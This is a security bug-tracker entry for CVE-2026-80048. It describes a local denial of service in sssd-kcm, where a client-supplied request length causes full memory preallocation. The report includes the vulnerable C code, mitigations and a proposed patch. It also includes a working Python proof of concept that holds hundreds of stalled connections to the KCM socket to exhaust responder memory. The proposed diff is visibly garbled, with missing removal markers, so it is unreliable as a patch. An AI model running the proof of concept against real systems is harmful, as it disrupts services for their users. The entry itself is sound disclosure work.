Bug 2479377 (CVE-2026-80048) - CVE-2026-80048 sssd: sssd-kcm: Local Denial of Service via excessive memory preallocation
Summary: CVE-2026-80048 sssd: sssd-kcm: Local Denial of Service via excessive memory p...
Keywords:
Status: NEW
Alias: CVE-2026-80048
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
medium
medium
Target Milestone: ---
Assignee: Product Security DevOps Team
QA Contact:
URL:
Whiteboard:
Depends On: 2547150
Blocks:
TreeView+ depends on / blocked
 
Reported: 2026-05-18 04:04 UTC by OSIDB Bzimport
Modified: 2026-10-06 20:24 UTC (History)
18 users (show)

Fixed In Version:
Clone Of:
Environment:
Last Closed:
Embargoed:


Attachments (Terms of Use)

Description OSIDB Bzimport 2026-05-18 04:04:00 UTC
AI_ONLY_REPORT
package: sssd-2.12.0-1.el10
------
Summary: Local DoS in `sssd-kcm` via preallocation of attacker-controlled  
request length: client-supplied request lengths are trusted for full  
preallocation before the request body arrives, allowing a local client that  
can reach the KCM socket to pin large responder allocations by stalling  
many connections.
Requirements to exploit: A local user or process that can connect to the  
`sssd-kcm` UNIX socket, open many concurrent connections, send only the  
4-byte length header for a large request, and keep those connections open  
until idle cleanup.
Component affected: `sssd-2.12.0-1.el10`, `src/responder/kcm/kcmsrv_cmd.c`,  
primarily `kcm_recv_data()` with the `EAGAIN` handling path in `kcm_recv()`.
Version affected: `sssd-2.12.0-1.el10`; reachability depends on deployments  
that enable the `sssd-kcm` responder and permit local clients to connect to  
its UNIX socket.
Patch available: no released package fix established; proposed patch  
included below
Version fixed: unknown
Upstream coordination: Not notified.
CVSS: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H - 5.5 (MEDIUM)
AV:L - Exploitation requires local access to the KCM UNIX socket.
AC:L - The attack only requires sending a valid length header and then  
stalling the connection.
PR:L - The attacker needs a local user context that can connect to the  
socket.
UI:N - No victim interaction is required.
S:U - The impact is contained within the vulnerable component's own  
security scope.
C:N - No confidentiality impact is established by the available evidence.
I:N - No integrity impact is established by the available evidence.
A:H - Repeated stalled connections can pin large allocations and deny  
availability of the KCM responder; broader system memory pressure is also  
plausible.
Impact: Moderate. Under Red Hat's severity guidance this is better  
classified as Moderate than Important because the issue is local and  
configuration-dependent, but in affected deployments it can still cause  
meaningful availability loss by exhausting responder memory. The available  
evidence does not show confidentiality impact, integrity impact, privilege  
escalation, or easy remote compromise.
Embargo: no
Reason: This is a local, configuration-dependent denial of service with  
straightforward operational mitigations, and the available evidence does  
not show the kind of high-risk remote compromise that would typically  
justify embargo.
Acknowledgement: Aisle Research
Vulnerability Details: `kcm_recv_data()` reads the 4-byte client-supplied  
request length, enforces only the protocol maximum, and allocates the full  
declared payload buffer before the payload is present:
```c
msglen = kcm_input_get_payload_len(&reqbuf->v_len);
if (msglen > KCM_PACKET_MAX_SIZE) {
DEBUG(SSSDBG_CRIT_FAILURE,
"Request exceeds the KCM protocol limit, aborting\n");
return E2BIG;
}
msg = talloc_array(mem_ctx, uint8_t, msglen);
if (msg == NULL) {
DEBUG(SSSDBG_CRIT_FAILURE,
"Failed to allocate memory for the message\n");
return ENOMEM;
}
talloc_set_destructor((void *) msg, sss_erase_talloc_mem_securely);
/* Set the buffer and its expected len to receive the data */
reqbuf->v_msg.kiov_base = msg;
reqbuf->v_msg.kiov_len = msglen;
ret = kcm_read_iovec(fd, &reqbuf->v_msg);
if (ret != EOK) {
/* Not all errors are fatal, hence we don't print DEBUG messages
here, but in the caller
      */
     return ret;
}
```


If the client sends only the length header and does not send the body, the  
caller leaves the connection open on `EAGAIN`:
```c
case EAGAIN:
DEBUG(SSSDBG_TRACE_ALL, "Retry later\n");
return;
```
The request state is tied to the connection context, so the  
attacker-controlled allocation remains associated with the live connection  
until the client disconnects or the client idle timeout expires. The  
available material identifies `KCM_PACKET_MAX_SIZE` as `10*1024*1024`, the  
default `client_idle_timeout` as 300 seconds, and the default `fd_limit` as  
2048. In practice this creates roughly 10 MiB of retained memory per  
stalled connection until cleanup, making memory exhaustion possible with  
repeated concurrent connections from a local socket client.
Steps to reproduce:
1. On a system where `sssd-kcm` is enabled and the test user can connect to  
its UNIX socket, start the socket-activated service if needed with  
`systemctl start sssd-kcm.socket`.
2. Confirm the socket path. The default path is  
`/var/run/.heim_org.h5l.kcm-socket`.
3. Run the following PoC from a local account that can connect to that  
socket:
```python
#!/usr/bin/env python3
import socket, struct
sock_path = "/var/run/.heim_org.h5l.kcm-socket"
N = 300
socks = []
for _ in range(N):
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect(sock_path)
s.sendall(struct.pack(">I", 10*1024*1024))  # length only, no body
socks.append(s)
input("Holding connections; press Enter to exit...\n")
```
4. Observe the responder's RSS increasing by roughly `N * 10MB` and  
remaining elevated until idle cleanup closes the stalled connections.
Mitigation: Restrict access to the KCM UNIX socket to trusted local users  
where possible. Where operationally acceptable, lowering  
`client_idle_timeout` and `fd_limit` reduces the amount of memory that can  
remain pinned before cleanup. Deployments that do not require `sssd-kcm`  
can disable it until a fix is available.
Proposed Fix: Avoid preallocating the full attacker-controlled payload  
size. Read the request body incrementally and grow the buffer only as bytes  
actually arrive.
```diff
diff --git a/src/responder/kcm/kcmsrv_cmd.c b/src/responder/kcm/kcmsrv_cmd.c
index 0000000..0000000 100644
— a/src/responder/kcm/kcmsrv_cmd.c
+++ b/src/responder/kcm/kcmsrv_cmd.c
@@ -418,7 +418,10 @@ static errno_t kcm_recv_data(TALLOC_CTX *mem_ctx,
int fd,
struct kcm_reqbuf *reqbuf)
{
   uint8_t *msg;
+    uint8_t *msg = reqbuf->v_msg.kiov_base;
+    size_t alloc_len = reqbuf->v_msg.kiov_len;
+    const size_t chunk = 4096;
+    size_t target;
      uint32_t msglen;
      errno_t ret;
@@ -438,16 +441,42 @@ static errno_t kcm_recv_data(TALLOC_CTX *mem_ctx,
          return E2BIG;
      }


   msg = talloc_array(mem_ctx, uint8_t, msglen);

   if (msg == NULL) {

       DEBUG(SSSDBG_CRIT_FAILURE,

             "Failed to allocate memory for the message\n");

       return ENOMEM;
+    if (reqbuf->v_msg.nprocessed == 0 && msg == NULL) {
+        alloc_len = 0;
      }

   talloc_set_destructor((void *) msg, sss_erase_talloc_mem_securely);


   /* Set the buffer and its expected len to receive the data */

   reqbuf->v_msg.kiov_base = msg;

   reqbuf->v_msg.kiov_len = msglen;
+    while (reqbuf->v_msg.nprocessed < msglen) {
+        target = reqbuf->v_msg.nprocessed + chunk;
+        if (target > msglen) {
+            target = msglen;
+        }
+
+        if (alloc_len < target) {
+            uint8_t *tmp = talloc_realloc(mem_ctx, msg, uint8_t, target);
+            if (tmp == NULL) {
+                DEBUG(SSSDBG_CRIT_FAILURE,
+                      "Failed to grow message buffer\n");
+                return ENOMEM;
+            }
+            msg = tmp;
+            alloc_len = target;
+            talloc_set_destructor((void *) msg,  
sss_erase_talloc_mem_securely);
+        }
+
+        reqbuf->v_msg.kiov_base = msg;
+        reqbuf->v_msg.kiov_len = alloc_len;
+        ret = kcm_read_iovec(fd, &reqbuf->v_msg);
+        if (ret == EAGAIN) {
+            return EAGAIN;
+        }
+        if (ret != EOK) {
+            return ret;
+        }
+    }


   ret = kcm_read_iovec(fd, &reqbuf->v_msg);

   if (ret != EOK) {

       /* Not all errors are fatal, hence we don't print DEBUG messages

        * here, but in the caller

        */

       return ret;

   }
+    reqbuf->v_msg.kiov_base = msg;
+    reqbuf->v_msg.kiov_len = msglen;


return EOK;
}
```
------
This report was generated using AI technology. Always review AI-generated  
content prior to use


Note You need to log in before you can comment on or make changes to this bug.